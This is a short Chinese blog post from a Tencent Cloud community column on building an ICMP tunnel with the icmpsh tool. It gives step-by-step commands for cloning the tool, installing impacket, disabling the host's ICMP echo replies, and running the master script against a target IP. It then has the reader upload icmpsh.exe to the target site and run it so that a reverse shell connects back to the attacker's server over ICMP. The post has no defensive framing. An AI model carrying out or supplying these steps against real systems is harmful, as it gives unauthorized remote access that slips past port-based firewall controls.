前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[web安全]ICMP隧道小记

[web安全]ICMP隧道小记

作者头像
李鹏华
发布2024-03-12 16:26:46
500
发布2024-03-12 16:26:46
举报
文章被收录于专栏:网络信息安全网络信息安全
ICMP隧道小记

一般的通信协议里,如果两台设备之间需要进行通信,肯定是需要开放端口的,但是ICMP协议不需要。

step 1 下载

代码语言:javascript
复制
git clone https://github.com/inquisb/icmpsh.git

step 2 装第三方库

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。

安装Python-impacket库:

代码语言:javascript
复制
apt-get install python-impacket

如果出现下图的情况,更新一下服务器中的包即可

如果还是不可以的话,就只能用pip了

代码语言:javascript
复制
pip2 install impacket

step 3 配置

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定。

代码语言:javascript
复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1

隧道利用完记得换回来1改成0就好

step 4 Run

代码语言:javascript
复制
./run.sh

然后输入目标ip即可 如果上述指令无法使用,使用python脚本跑即可,如下

代码语言:javascript
复制
python icmpsh_m.py 服务器ip 目标站点ip

上述指令输入完成之后 我们需要在对面站点的终端中运行icmpsh.exe(服务器进入icmpsh的文件夹,ls查看一下目录就可以找到,然后下载下来上传到目标站点中)运行

代码语言:javascript
复制
icmpsh.exe -t 服务器ip

这个时候就成功反弹shell到服务器了。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2024-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ICMP隧道小记
  • step 1 下载
  • step 2 装第三方库
  • step 3 配置
  • step 4 Run
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档